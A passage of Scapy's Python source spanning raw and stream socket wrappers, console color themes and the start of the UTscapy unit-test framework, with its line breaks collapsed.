type=ETH_P_IP, # type: int filter=None, # type: Optional[str] iface=None, # type: Optional[_GlobInterfaceType] promisc=None, # type: Optional[bool] nofilter=0 # type: int ): # type: (...) -> None self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) # noqa: E501 self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1) self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) # noqa: E501 if iface is not None: iface = network_name(iface) self.iface = iface self.ins.bind((iface, type)) else: self.iface = "any" try: # Receive Auxiliary Data (VLAN tags) self.ins.setsockopt(SOL_PACKET, PACKET_AUXDATA, 1) self.ins.setsockopt( socket.SOL_SOCKET, SO_TIMESTAMPNS, 1 ) self.auxdata_available = True except OSError: # Note: Auxiliary Data is only supported since # Linux 2.6.21 msg = "Your Linux Kernel does not support Auxiliary Data!" log_runtime.info(msg) def recv(self, x=MTU, **kwargs): # type: (int, **Any) -> Optional[Packet] data, sa_ll, ts = self._recv_raw(self.ins, x) if sa_ll[2] == socket.PACKET_OUTGOING: return None if sa_ll[3] in conf.l2types: cls = conf.l2types.num2layer[sa_ll[3]] # type: Type[Packet] lvl = 2 elif sa_ll[1] in conf.l3types: cls = conf.l3types.num2layer[sa_ll[1]] lvl = 3 else: cls = conf.default_l2 warning("Unable to guess type (interface=%s protocol=%#x family=%i). Using %s", sa_ll[0], sa_ll[1], sa_ll[3], cls.name) # noqa: E501 lvl = 3 try: pkt = cls(data, **kwargs) except KeyboardInterrupt: raise except Exception: if conf.debug_dissector: raise pkt = conf.raw_layer(data) if lvl == 2: pkt = pkt.payload if pkt is not None: if ts is None: from scapy.arch.linux import get_last_packet_timestamp ts = get_last_packet_timestamp(self.ins) pkt.time = ts return pkt def send(self, x): # type: (Packet) -> int try: sx = raw(x) if self.outs: x.sent_time = time.time() return self.outs.sendto( sx, (x.dst, 0) ) except AttributeError: raise ValueError( "Missing 'dst' attribute in the first layer to be " "sent using a native L3 socket ! (make sure you passed the " "IP layer)" ) except socket.error as msg: log_runtime.error(msg) return 0 class L3RawSocket6(L3RawSocket): def __init__(self, type: int = ETH_P_IPV6, filter: Optional[str] = None, iface: Optional[_GlobInterfaceType] = None, promisc: Optional[bool] = None, nofilter: bool = False) -> None: # NOTE: if fragmentation is needed, it will be done by the kernel (RFC 2292) # noqa: E501 self.outs = socket.socket( socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW ) self.ins = socket.socket( socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type) ) self.iface = cast(_GlobInterfaceType, iface) class SimpleSocket(SuperSocket): desc = "wrapper around a classic socket" __selectable_force_select__ = True def __init__(self, sock, basecls=None): # type: (socket.socket, Optional[Type[Packet]]) -> None self.ins = sock self.outs = sock if basecls is None: basecls = conf.raw_layer self.basecls = basecls def recv_raw(self, x=MTU): # type: (int) -> Tuple[Optional[Type[Packet]], Optional[bytes], Optional[float]] return self.basecls, self.ins.recv(x), None if WINDOWS: @staticmethod def select(sockets, remain=None): # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket] from scapy.automaton import select_objects return select_objects(sockets, remain) class StreamSocket(SimpleSocket): """ Wrap a stream socket into a layer 2 SuperSocket :param sock: the socket to wrap :param basecls: the base class packet to use to dissect the packet """ desc = "transforms a stream socket into a layer 2" def __init__(self, sock, # type: socket.socket basecls=None, # type: Optional[Type[Packet]] ): # type: (...) -> None from scapy.sessions import streamcls self.rcvcls = streamcls(basecls or conf.raw_layer) self.metadata: Dict[str, Any] = {} self.streamsession: Dict[str, Any] = {} self._buf = b"" super(StreamSocket, self).__init__(sock, basecls=basecls) def recv(self, x=None, **kwargs): # type: (Optional[int], Any) -> Optional[Packet] if x is None: x = MTU while True: # Block but in PEEK mode data = self.ins.recv(x, socket.MSG_PEEK) if data == b"": raise EOFError x = len(data) pkt = self.rcvcls(self._buf + data, self.metadata, self.streamsession) if pkt is None: # Incomplete packet. self._buf += self.ins.recv(x) else: break self.metadata.clear() # Strip any madding pad = pkt.getlayer(conf.padding_layer) if pad is not None and pad.underlayer is not None: del pad.underlayer.payload while pad is not None and not isinstance(pad, NoPayload): x -= len(pad.load) pad = pad.payload # Only receive the packet length self.ins.recv(x) self._buf = b"" return pkt class StreamSocketPeekless(StreamSocket): desc = "StreamSocket that doesn't use MSG_PEEK" def __init__(self, sock, basecls=None): # type: (socket.socket, Optional[Type[Packet]]) -> None from scapy.sessions import TCPSession self.sess = TCPSession(app=True) super(StreamSocketPeekless, self).__init__(sock, basecls) # 65535, the default value of x is the maximum length of a TLS record def recv(self, x=None, **kwargs): # type: (Optional[int], **Any) -> Optional[Packet] if x is None: x = MTU # Block try: data = self.ins.recv(x) except OSError: raise EOFError try: pkt = self.sess.process(data, cls=self.basecls) # type: ignore except struct.error: # Buffer underflow pkt = None if data == b"" and not pkt: raise EOFError if not pkt: return self.recv(x) return pkt @staticmethod def select(sockets, remain=None): # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket] queued = [ x for x in sockets if isinstance(x, StreamSocketPeekless) and x.sess.data ] if queued: return queued # type: ignore return super(StreamSocketPeekless, StreamSocketPeekless).select( sockets, remain=remain, ) # Old name: SSLStreamSocket SSLStreamSocket = StreamSocketPeekless class L2ListenTcpdump(SuperSocket): desc = "read packets at layer 2 using tcpdump" def __init__(self, iface=None, # type: Optional[_GlobInterfaceType] promisc=None, # type: Optional[bool] filter=None, # type: Optional[str] nofilter=False, # type: bool prog=None, # type: Optional[str] quiet=False, # type: bool *arg, # type: Any **karg # type: Any ): # type: (...) -> None self.outs = None args = ['-w', '-', '-s', '65535'] self.iface = "any" if iface is None and (WINDOWS or DARWIN): self.iface = iface = conf.iface if promisc is None: promisc = conf.sniff_promisc if iface is not None: args.extend(['-i', network_name(iface)]) if not promisc: args.append('-p') if not nofilter: if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) else: filter = "not (%s)" % conf.except_filter if filter is not None: args.append(filter) self.tcpdump_proc = tcpdump( None, prog=prog, args=args, getproc=True, quiet=quiet) self.reader = PcapReader(self.tcpdump_proc.stdout) self.ins = self.reader # type: ignore def recv(self, x=MTU, **kwargs): # type: (int, **Any) -> Optional[Packet] return self.reader.recv(x, **kwargs) def close(self): # type: () -> None SuperSocket.close(self) self.tcpdump_proc.kill() @staticmethod def select(sockets, remain=None): # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket] if (WINDOWS or DARWIN): return sockets return SuperSocket.select(sockets, remain=remain) # More abstract objects class IterSocket(SuperSocket): desc = "wrapper around an iterable" nonblocking_socket = True def __init__(self, obj): # type: (_PacketIterable) -> None if not obj: self.iter = iter([]) # type: Iterator[Packet] elif isinstance(obj, IterSocket): self.iter = obj.iter elif isinstance(obj, SndRcvList): def _iter(obj=cast(SndRcvList, obj)): # type: (SndRcvList) -> Iterator[Packet] for s, r in obj: if s.sent_time: s.time = s.sent_time yield s yield r self.iter = _iter() elif isinstance(obj, (list, PacketList)): if isinstance(obj[0], bytes): self.iter = iter(obj) else: self.iter = (y for x in obj for y in x) else: self.iter = obj.__iter__() @staticmethod def select(sockets, remain=None): # type: (List[SuperSocket], Any) -> List[SuperSocket] return sockets def recv(self, x=None, **kwargs): # type: (Optional[int], Any) -> Optional[Packet] try: pkt = next(self.iter) return pkt.__class__(bytes(pkt), **kwargs) except StopIteration: raise EOFError def close(self): # type: () -> None pass ================================================ FILE: scapy/themes.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Color themes for the interactive console. """ ################## # Color themes # ################## import html import sys from typing import ( Any, List, Optional, Tuple, cast, ) from scapy.compat import Protocol class ColorTable: colors = { # Format: (ansi, pygments) # foreground "black": ("\033[30m", "#ansiblack"), "red": ("\033[31m", "#ansired"), "green": ("\033[32m", "#ansigreen"), "yellow": ("\033[33m", "#ansiyellow"), "blue": ("\033[34m", "#ansiblue"), "purple": ("\033[35m", "#ansipurple"), "cyan": ("\033[36m", "#ansicyan"), "white": ("\033[37m", "#ansiwhite"), "grey": ("\033[38;5;246m", "#ansiwhite"), "reset": ("\033[39m", "noinherit"), # background "bg_black": ("\033[40m", "bg:#ansiblack"), "bg_red": ("\033[41m", "bg:#ansired"), "bg_green": ("\033[42m", "bg:#ansigreen"), "bg_yellow": ("\033[43m", "bg:#ansiyellow"), "bg_blue": ("\033[44m", "bg:#ansiblue"), "bg_purple": ("\033[45m", "bg:#ansipurple"), "bg_cyan": ("\033[46m", "bg:#ansicyan"), "bg_white": ("\033[47m", "bg:#ansiwhite"), "bg_reset": ("\033[49m", "noinherit"), # specials "normal": ("\033[0m", "noinherit"), # color & brightness "bold": ("\033[1m", "bold"), "uline": ("\033[4m", "underline"), "blink": ("\033[5m", ""), "invert": ("\033[7m", ""), } inv_map = {v[0]: v[1] for k, v in colors.items()} def __repr__(self): # type: () -> str return "" def __getattr__(self, attr): # type: (str) -> str return self.colors.get(attr, [""])[0] def ansi_to_pygments(self, x): # type: (str) -> str """ Transform ansi encoded text to Pygments text """ for k, v in self.inv_map.items(): x = x.replace(k, " " + v) return x.strip() Color = ColorTable() class _ColorFormatterType(Protocol): def __call__(self, val: Any, fmt: Optional[str] = None, fmt2: str = "", before: str = "", after: str = "") -> str: pass def create_styler(fmt=None, # type: Optional[str] before="", # type: str after="", # type: str fmt2="%s" # type: str ): # type: (...) -> _ColorFormatterType def do_style(val: Any, fmt: Optional[str] = fmt, fmt2: str = fmt2, before: str = before, after: str = after) -> str: if fmt is None: sval = str(val) else: sval = fmt % val return fmt2 % (before + sval + after) return do_style class ColorTheme: style_normal = "" style_prompt = "" style_punct = "" style_id = "" style_not_printable = "" style_layer_name = "" style_field_name = "" style_field_value = "" style_emph_field_name = "" style_emph_field_value = "" style_depreciate_field_name = "" style_packetlist_name = "" style_packetlist_proto = "" style_packetlist_value = "" style_fail = "" style_success = "" style_odd = "" style_even = "" style_opening = "" style_active = "" style_closed = "" style_left = "" style_right = "" style_logo = "" def __repr__(self): # type: () -> str return "<%s>" % self.__class__.__name__ def __reduce__(self): # type: () -> Tuple[type, Any, Any] return (self.__class__, (), ()) def __getattr__(self, attr): # type: (str) -> _ColorFormatterType if attr in ["__getstate__", "__setstate__", "__getinitargs__", "__reduce_ex__"]: raise AttributeError() return create_styler() def format(self, string, fmt): # type: (str, str) -> str for style in fmt.split("+"): string = getattr(self, style)(string) return string class NoTheme(ColorTheme): pass class AnsiColorTheme(ColorTheme): def __getattr__(self, attr): # type: (str) -> _ColorFormatterType if attr.startswith("__"): raise AttributeError(attr) s = "style_%s" % attr if s in self.__class__.__dict__: before = getattr(self, s) after = self.style_normal elif not isinstance(self, BlackAndWhite) and attr in Color.colors: before = Color.colors[attr][0] after = Color.colors["normal"][0] else: before = after = "" return create_styler(before=before, after=after) class BlackAndWhite(AnsiColorTheme, NoTheme): pass class DefaultTheme(AnsiColorTheme): style_normal = Color.normal style_prompt = Color.blue + Color.bold style_punct = Color.normal style_id = Color.blue + Color.bold style_not_printable = Color.white style_depreciate_field_name = Color.grey style_layer_name = Color.red + Color.bold style_field_name = Color.blue style_field_value = Color.purple style_emph_field_name = Color.blue + Color.uline + Color.bold style_emph_field_value = Color.purple + Color.uline + Color.bold style_packetlist_name = Color.red + Color.bold style_packetlist_proto = Color.blue style_packetlist_value = Color.purple style_fail = Color.red + Color.bold style_success = Color.blue + Color.bold style_even = Color.black + Color.bold style_odd = Color.black style_opening = Color.yellow style_active = Color.black style_closed = Color.white style_left = Color.blue + Color.invert style_right = Color.red + Color.invert style_logo = Color.green + Color.bold class BrightTheme(AnsiColorTheme): style_normal = Color.normal style_punct = Color.normal style_id = Color.yellow + Color.bold style_layer_name = Color.red + Color.bold style_field_name = Color.yellow + Color.bold style_field_value = Color.purple + Color.bold style_emph_field_name = Color.yellow + Color.bold style_emph_field_value = Color.green + Color.bold style_packetlist_name = Color.red + Color.bold style_packetlist_proto = Color.yellow + Color.bold style_packetlist_value = Color.purple + Color.bold style_fail = Color.red + Color.bold style_success = Color.blue + Color.bold style_even = Color.black + Color.bold style_odd = Color.black style_left = Color.cyan + Color.invert style_right = Color.purple + Color.invert style_logo = Color.green + Color.bold class RastaTheme(AnsiColorTheme): style_normal = Color.normal + Color.green + Color.bold style_prompt = Color.yellow + Color.bold style_punct = Color.red style_id = Color.green + Color.bold style_not_printable = Color.green style_layer_name = Color.red + Color.bold style_field_name = Color.yellow + Color.bold style_field_value = Color.green + Color.bold style_emph_field_name = Color.green style_emph_field_value = Color.green style_packetlist_name = Color.red + Color.bold style_packetlist_proto = Color.yellow + Color.bold style_packetlist_value = Color.green + Color.bold style_fail = Color.red style_success = Color.red + Color.bold style_even = Color.yellow style_odd = Color.green style_left = Color.yellow + Color.invert style_right = Color.red + Color.invert style_logo = Color.green + Color.bold class ColorOnBlackTheme(AnsiColorTheme): """Color theme for black backgrounds""" style_normal = Color.normal style_prompt = Color.green + Color.bold style_punct = Color.normal style_id = Color.green style_not_printable = Color.black + Color.bold style_layer_name = Color.yellow + Color.bold style_field_name = Color.cyan style_field_value = Color.purple + Color.bold style_emph_field_name = Color.cyan + Color.bold style_emph_field_value = Color.red + Color.bold style_packetlist_name = Color.black + Color.bold style_packetlist_proto = Color.yellow + Color.bold style_packetlist_value = Color.purple + Color.bold style_fail = Color.red + Color.bold style_success = Color.green style_even = Color.black + Color.bold style_odd = Color.white style_opening = Color.yellow style_active = Color.white + Color.bold style_closed = Color.black + Color.bold style_left = Color.cyan + Color.bold style_right = Color.red + Color.bold style_logo = Color.green + Color.bold class FormatTheme(ColorTheme): def __getattr__(self, attr: str) -> _ColorFormatterType: if attr.startswith("__"): raise AttributeError(attr) colfmt = self.__class__.__dict__.get("style_%s" % attr, "%s") return create_styler(fmt2=colfmt) class LatexTheme(FormatTheme): r""" You can prepend the output from this theme with \tt\obeyspaces\obeylines\tiny\noindent """ style_prompt = r"\textcolor{blue}{%s}" style_not_printable = r"\textcolor{gray}{%s}" style_layer_name = r"\textcolor{red}{\bf %s}" style_field_name = r"\textcolor{blue}{%s}" style_field_value = r"\textcolor{purple}{%s}" style_emph_field_name = r"\textcolor{blue}{\underline{%s}}" # ul style_emph_field_value = r"\textcolor{purple}{\underline{%s}}" # ul style_packetlist_name = r"\textcolor{red}{\bf %s}" style_packetlist_proto = r"\textcolor{blue}{%s}" style_packetlist_value = r"\textcolor{purple}{%s}" style_fail = r"\textcolor{red}{\bf %s}" style_success = r"\textcolor{blue}{\bf %s}" style_left = r"\textcolor{blue}{%s}" style_right = r"\textcolor{red}{%s}" # style_even = r"}{\bf " # style_odd = "" style_logo = r"\textcolor{green}{\bf %s}" def __getattr__(self, attr: str) -> _ColorFormatterType: from scapy.utils import tex_escape styler = super(LatexTheme, self).__getattr__(attr) return cast( _ColorFormatterType, lambda x, *args, **kwargs: styler(tex_escape(str(x)), *args, **kwargs), ) class LatexTheme2(FormatTheme): style_prompt = r"@`@textcolor@[@blue@]@@[@%s@]@" style_not_printable = r"@`@textcolor@[@gray@]@@[@%s@]@" style_layer_name = r"@`@textcolor@[@red@]@@[@@`@bfseries@[@@]@%s@]@" style_field_name = r"@`@textcolor@[@blue@]@@[@%s@]@" style_field_value = r"@`@textcolor@[@purple@]@@[@%s@]@" style_emph_field_name = r"@`@textcolor@[@blue@]@@[@@`@underline@[@%s@]@@]@" style_emph_field_value = r"@`@textcolor@[@purple@]@@[@@`@underline@[@%s@]@@]@" # noqa: E501 style_packetlist_name = r"@`@textcolor@[@red@]@@[@@`@bfseries@[@@]@%s@]@" style_packetlist_proto = r"@`@textcolor@[@blue@]@@[@%s@]@" style_packetlist_value = r"@`@textcolor@[@purple@]@@[@%s@]@" style_fail = r"@`@textcolor@[@red@]@@[@@`@bfseries@[@@]@%s@]@" style_success = r"@`@textcolor@[@blue@]@@[@@`@bfseries@[@@]@%s@]@" style_even = r"@`@textcolor@[@gray@]@@[@@`@bfseries@[@@]@%s@]@" # style_odd = r"@`@textcolor@[@black@]@@[@@`@bfseries@[@@]@%s@]@" style_left = r"@`@textcolor@[@blue@]@@[@%s@]@" style_right = r"@`@textcolor@[@red@]@@[@%s@]@" style_logo = r"@`@textcolor@[@green@]@@[@@`@bfseries@[@@]@%s@]@" class HTMLTheme(FormatTheme): style_prompt = "%s" style_not_printable = "%s" style_layer_name = "%s" style_field_name = "%s" style_field_value = "%s" style_emph_field_name = "%s" style_emph_field_value = "%s" style_packetlist_name = "%s" style_packetlist_proto = "%s" style_packetlist_value = "%s" style_fail = "%s" style_success = "%s" style_even = "%s" style_odd = "%s" style_left = "%s" style_right = "%s" class HTMLTheme2(HTMLTheme): style_prompt = "#[#span class=prompt#]#%s#[#/span#]#" style_not_printable = "#[#span class=not_printable#]#%s#[#/span#]#" style_layer_name = "#[#span class=layer_name#]#%s#[#/span#]#" style_field_name = "#[#span class=field_name#]#%s#[#/span#]#" style_field_value = "#[#span class=field_value#]#%s#[#/span#]#" style_emph_field_name = "#[#span class=emph_field_name#]#%s#[#/span#]#" style_emph_field_value = "#[#span class=emph_field_value#]#%s#[#/span#]#" style_packetlist_name = "#[#span class=packetlist_name#]#%s#[#/span#]#" style_packetlist_proto = "#[#span class=packetlist_proto#]#%s#[#/span#]#" style_packetlist_value = "#[#span class=packetlist_value#]#%s#[#/span#]#" style_fail = "#[#span class=fail#]#%s#[#/span#]#" style_success = "#[#span class=success#]#%s#[#/span#]#" style_even = "#[#span class=even#]#%s#[#/span#]#" style_odd = "#[#span class=odd#]#%s#[#/span#]#" style_left = "#[#span class=left#]#%s#[#/span#]#" style_right = "#[#span class=right#]#%s#[#/span#]#" def apply_ipython_style(shell): # type: (Any) -> None """Updates the specified IPython console shell with the conf.color_theme scapy theme.""" try: from IPython.terminal.prompts import Prompts, Token except Exception: from scapy.error import log_loading log_loading.warning( "IPython too old. Shell color won't be handled." ) return from scapy.config import conf scapy_style = {} # Overwrite colors if isinstance(conf.color_theme, NoTheme): shell.colors = 'nocolor' elif isinstance(conf.color_theme, BrightTheme): # lightbg is optimized for light backgrounds shell.colors = 'lightbg' elif isinstance(conf.color_theme, ColorOnBlackTheme): # linux is optimised for dark backgrounds shell.colors = 'linux' else: # default shell.colors = 'neutral' try: get_ipython() # type: ignore # This function actually contains tons of hacks color_magic = shell.magics_manager.magics["line"]["colors"] color_magic(shell.colors) except NameError: pass # Prompt Style if isinstance(conf.prompt, Prompts): # Set custom prompt style shell.prompts_class = conf.prompt else: if isinstance(conf.color_theme, (FormatTheme, NoTheme)): # Formatable if isinstance(conf.color_theme, HTMLTheme): prompt = html.escape(conf.prompt) elif isinstance(conf.color_theme, LatexTheme): from scapy.utils import tex_escape prompt = tex_escape(conf.prompt) else: prompt = conf.prompt prompt = conf.color_theme.prompt(prompt) else: # Needs to be manually set prompt = str(conf.prompt) scapy_style[Token.Prompt] = Color.ansi_to_pygments( conf.color_theme.style_prompt ) class ClassicPrompt(Prompts): def in_prompt_tokens(self, cli=None): # type: (Any) -> List[Tuple[Any, str]] return [(Token.Prompt, prompt), ] def out_prompt_tokens(self): # type: () -> List[Tuple[Any, str]] return [(Token.OutPrompt, ''), ] # Apply classic prompt style shell.prompts_class = ClassicPrompt sys.ps1 = prompt # Register scapy color style shell.highlighting_style_overrides = scapy_style # Apply if Live try: get_ipython().refresh_style() # type: ignore except NameError: pass ================================================ FILE: scapy/tools/UTscapy.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Unit testing infrastructure for Scapy """ import builtins import bz2 import copy import getopt import glob import hashlib import importlib import json import logging import os import os.path import sys import threading import time import traceback import warnings import zlib from scapy.consts import WINDOWS, BIG_ENDIAN from scapy.config import conf from scapy.compat import base64_bytes from scapy.themes import DefaultTheme, BlackAndWhite from scapy.utils import tex_escape # Check UTF-8 support # def _utf8_support(): """ Check UTF-8 support for the output """ try: if WINDOWS: return (sys.stdout.encoding == "utf-8") return True except AttributeError: return False if _utf8_support(): arrow = "\u2514" dash = "\u2501" checkmark = "\u2713" else: arrow = "->" dash = "--" checkmark = "OK" # Util class # class Bunch: __init__ = lambda self, **kw: setattr(self, '__dict__', kw) def retry_test(func): """Retries the passed function 3 times before failing""" v = None tb = None for _ in range(3): try: return func() except Exception: t, v, tb = sys.exc_info() time.sleep(1) if v and tb: raise v.with_traceback(tb) def scapy_path(fname): """Resolves a path relative to scapy's root folder""" if fname.startswith('/'): fname = fname[1:] return os.path.abspath(os.path.join( os.path.dirname(__file__), '../../', fname )) class no_debug_dissector: """Context object used to disable conf.debug_dissector""" def __init__(self, reverse=False): self.new_value = reverse def __enter__(self): self.old_dbg = conf.debug_dissector conf.debug_dissector = self.new_value def __exit__(self, exc_type, exc_value, traceback): conf.debug_dissector = self.old_dbg # Import tool # def import_module(name): if name.endswith(".py"): name = name[:-3] try: return importlib.import_module(name, package="scapy") except Exception: return importlib.import_module(name) # INTERNAL/EXTERNAL FILE EMBEDDING # class File: def __init__(self, name, URL, local): self.name = name self.local = local.encode("utf8") self.URL = URL def get_local(self): return bz2.decompress(base64_bytes(self.local)) def get_URL(self): return self.URL def write(self, dir): if dir: dir += "/" with open(dir + self.name, "wb") as fdesc: fdesc.write(self.get_local()) # Embed a base64 encoded bziped version of js and css files # to work if you can't reach Internet. class External_Files: UTscapy_js = File("UTscapy.js", "https://scapy.net/files/UTscapy/UTscapy.js", # noqa: E501 """QlpoOTFBWSZTWWVijKQAAXxfgERUYOvAChIhBAC /79+qQAH8AFA0poANAMjQAAAGABo0NGEZNBo0\n0BhgAaNDRhGTQaNNAYFURJinp lGaKbRkJiekzSenqmpA0Gm1LFMpRUklVQlK9WUTZYpNFI1IiEWE\nFT09Sfj5uO+ qO6S5DQwKIxM92+Zku94wL6V/1KTKan2c66Ug6SmVKy1ZIrgauxMVLF5xLH0lJRQ u\nKlqLF10iatlTzqvw7S9eS3+h4lu3GZyMgoOude3NJ1pQy8eo+X96IYZw+yneh siPj73m0rnvQ3QX\nZ9BJQiZQYQ5/uNcl2WOlC5vyQqV/BWsnr2NZYLYXQLDs/Bf fk4ZfR4/SH6GfA5Xlek4xHNHqbSsR\nbREOgueXo3kcYi94K6hSO3ldD2O/qJXOF qJ8o3TE2aQahxtQpCVUKQMvODHwu2YkaORYZC6gihEa\nllcHDIAtRPScBACAJnU ggYhLDX6DEko7nC9GvAw5OcEkiyDUbLdiGCzDaXWMC2DuQ2Y6sGf6NcRu\nON7QS bhHsPc4KKmZ/xdyRThQkGVijKQ=\n""") UTscapy_css = File("UTscapy.css", "https://scapy.net/files/UTscapy/UTscapy.css", # noqa: E501 """QlpoOTFBWSZTWbpATIwAAFpfgHwQSB//+Cpj2Q C//9/6UAS5t7qcLut3NNDp0gxKMmpqaep6n6iP\n1J+pPU0yAAaeoaDI0BJCTJqa j1BoaGhoAAPSAAAJNSRqmmk8TQmj1DT1Hom1HkQABoNDmmJgATAB\nMAAJgACYJI hDQUzCR5Q0niRoaAGgGmZS+faw7LNbkliDG1Q52WJCd85cxRVVKegld8qCRISoto GD\nEGREFEYRW0CxAgTb13lodjuN7E1aCFgRFVhiEmZAZ/ek+XR0c8DWiAKpBgY2 LNpQ1rOvlnoUI1Al\n0ySaP1w2MyFxoQqRicScCm6WnQOxDnufxk8s2deLLKlN+r fvxyTTCGRAWZONkVGIxVQRZGZLeAwH\nbpQXZcYj467i85knEOYWmLcokaqEGYGS xMCpD+cOIaL7GCxEU/aNSlWFNCvQBvzb915huAgdIdD2\nya9ZQGoqrmtommfAxu 7FGTDBNBfir9UkAMmT1KRzxasJ0n2OE+mlgTZzJnhydbJaMtAk8DJzUuvv\nZpc3 CJLVyr8F3NmIQO5E3SJSY3SQnk1CQwlELqFutXjeWWzmiywo7xJk5rUcVOV9+Ro4 96WmXsUr\nkKhNocbnFztqPhesccW5kja+KuNFmzdw4DVOBJ2JPhGOYSwCUiwUe2 kOshYBdULUmwYwToAGdgA9\n5n3bSpG85LUFIE0Cw78EYVgY0ESnYW5UdfgBhj1w PiiXDEG2vAtr38O9kdwg3tFU/0okilEjDYDa\nEfkomkLUSokmE8g1fMYBqQyyaP RWmySO3EtAuMVhQqIuMldOzLqWubl7k1MnhuBaELOgtB2TChcS\n0k7jvgdBKIef UkdAf3t2GO/LVSrDvkcb4l4TrwrI7JeCo8pBvXqZBqZJSqbsAziG7QDQVNqdtFGz \nEvMKOvKvUQ6mJFigLxBnziGQGQDEMQPSGhlV2BwAN6rZEmLwgED0OrEiSxXDcB MDskp36AV7IbKa\nCila/Wm1BKhBF+ZIqtiFyYpUhI1Q5+JK0zK7aVyLS9y7GaSr NCRpr7uaa1UgapVKs6wKKQzYCWsV\n8iCGrAkgWZEnDMJWCGUZOIpcmMle1UXSAl d5OoUYXNo0L7WSOcxEkSGjCcRhjvMRP1pAUuBPRCRA\n2lhC0ZgLYDAf5V2agMUa ki1ZgOQDXQ7aIDTdjGRTgnzPML0V1X+tIoSSZmZhrxZbluMWGEkwwky6\n0ObWIM cEbX4cawPPBVc6m5UUPbEmBANyjtNvTKE2ri7oOmBVKIMLqQKm+4rlmisu2uGSxW zTov5w\nqQDp61FkHk40wzQUKk4YcBlbQT1l8VXeZJYAVFjSJIcC8JykBYZJ1yka I4LDm5WP7s2NaRkhhV7A\nFVSD5zA8V/DJzfTk0QHmCT2wRgwPKjP60EqqlDUaST /i7kinChIXSAmRgA==\n""") def get_local_dict(cls): return {x: y.name for (x, y) in cls.__dict__.items() if isinstance(y, File)} get_local_dict = classmethod(get_local_dict) def get_URL_dict(cls): return {x: y.URL for (x, y) in cls.__dict__.items() if isinstance(y, File)} get_URL_dict = classmethod(get_URL_dict) # HELPER CLASSES FOR PARAMETRING OUTPUT FORMAT # class EnumClass: def from_string(cls, x): return cls.__dict__[x.upper()] from_string = classmethod(from_string) class Format(EnumClass): TEXT = 1 ANSI = 2 HTML = 3 LATEX = 4 XUNIT = 5 LIVE = 6 # TEST CLASSES # class TestClass: def __getitem__(self, item): return getattr(self, item) def add_keywords(self, kws): if isinstance(kws, str): kws = [kws.lower()] for kwd in kws: kwd = kwd.lower() if kwd.startswith('-'): try: self.keywords.remove(kwd[1:]) except KeyError: pass else: self.keywords.add(kwd) class TestCampaign(TestClass): def __init__(self, title): self.title = title self.filename = None self.headcomments = "" self.campaign = [] self.keywords = set() self.crc = None self.sha = None self.preexec = None self.preexec_output = None self.end_pos = 0 self.interrupted = False self.duration = 0.0 def add_testset(self, testset): self.campaign.append(testset) testset.keywords.update(self.keywords) def trunc(self, index): self.campaign = self.campaign[:index] def startNum(self, beginpos): for ts in self: for t in ts: t.num = beginpos beginpos += 1 self.end_pos = beginpos def __iter__(self): return self.campaign.__iter__() def all_tests(self): for ts in self: for t in ts: yield t class TestSet(TestClass): def __init__(self, name): self.name = name self.tests = [] self.comments = "" self.keywords = set() self.crc = None self.expand = 1 def add_test(self, test): self.tests.append(test) test.keywords.update(self.keywords) def trunc(self, index): self.tests = self.tests[:index] def __iter__(self): return self.tests.__iter__() class UnitTest(TestClass): def __init__(self, name): self.name = name self.test = "" self.comments = "" self.result = "passed" self.fresult = "" # make instance True at init to have a different truth value than None self.duration = 0 self.output = "" self.num = -1 self.keywords = set() self.crc = None self.expand = 1 def prepare(self, theme): if self.result == "passed": self.fresult = theme.success(self.result) else: self.fresult = theme.fail(self.result) def __nonzero__(self): return self.result == "passed" __bool__ = __nonzero__ # Careful note: all data not included will be set by default. # Use -c as first argument !! def parse_config_file(config_path, verb=3): """Parse provided json to get configuration Empty default json: { "testfiles": [], "breakfailed": true, "onlyfailed": false, "verb": 3, "dump": 0, "docs": 0, "crc": true, "preexec": {}, "global_preexec": "", "outputfile": null, "local": true, "format": "ansi", "num": null, "extensions": [], "modules": [], "kw_ok": [], "kw_ko": [] } """ with open(config_path, encoding='utf-8') as config_file: data = json.load(config_file) if verb > 2: print(" %s Loaded config file" % arrow, config_path) def get_if_exist(key, default): return data[key] if key in data else default return Bunch(testfiles=get_if_exist("testfiles", []), breakfailed=get_if_exist("breakfailed", True), remove_testfiles=get_if_exist("remove_testfiles", []), onlyfailed=get_if_exist("onlyfailed", False), verb=get_if_exist("verb", 3), dump=get_if_exist("dump", 0), crc=get_if_exist("crc", 1), docs=get_if_exist("docs", 0), preexec=get_if_exist("preexec", {}), global_preexec=get_if_exist("global_preexec", ""), outfile=get_if_exist("outputfile", sys.stdout), local=get_if_exist("local", False), num=get_if_exist("num", None), modules=get_if_exist("modules", []), extensions=get_if_exist("extensions", []), kw_ok=get_if_exist("kw_ok", []), kw_ko=get_if_exist("kw_ko", []), format=get_if_exist("format", "ansi")) # PARSE CAMPAIGN # def parse_campaign_file(campaign_file): test_campaign = TestCampaign("Test campaign") test_campaign.filename = campaign_file.name testset = None test = None testnb = 0 for line in campaign_file.readlines(): if line[0] == '#': continue if line[0] == "~": (test or testset or test_campaign).add_keywords(line[1:].split()) elif line[0] == "%": test_campaign.title = line[1:].strip() elif line[0] == "+": testset = TestSet(line[1:].strip()) test_campaign.add_testset(testset) test = None elif line[0] == "=": test = UnitTest(line[1:].strip()) test.num = testnb testnb += 1 if testset is None: error_m = "Please create a test set (i.e. '+' section)." raise getopt.GetoptError(error_m) testset.add_test(test) elif line[0] == "*": if test is not None: test.comments += line[1:] elif testset is not None: testset.comments += line[1:] else: test_campaign.headcomments += line[1:] else: if test is None: if line.strip(): raise ValueError("Unknown content [%s]" % line.strip()) else: test.test += line return test_campaign def dump_campaign(test_campaign): print("#" * (len(test_campaign.title) + 6)) print("## %(title)s ##" % test_campaign) print("#" * (len(test_campaign.title) + 6)) if test_campaign.sha and test_campaign.crc: 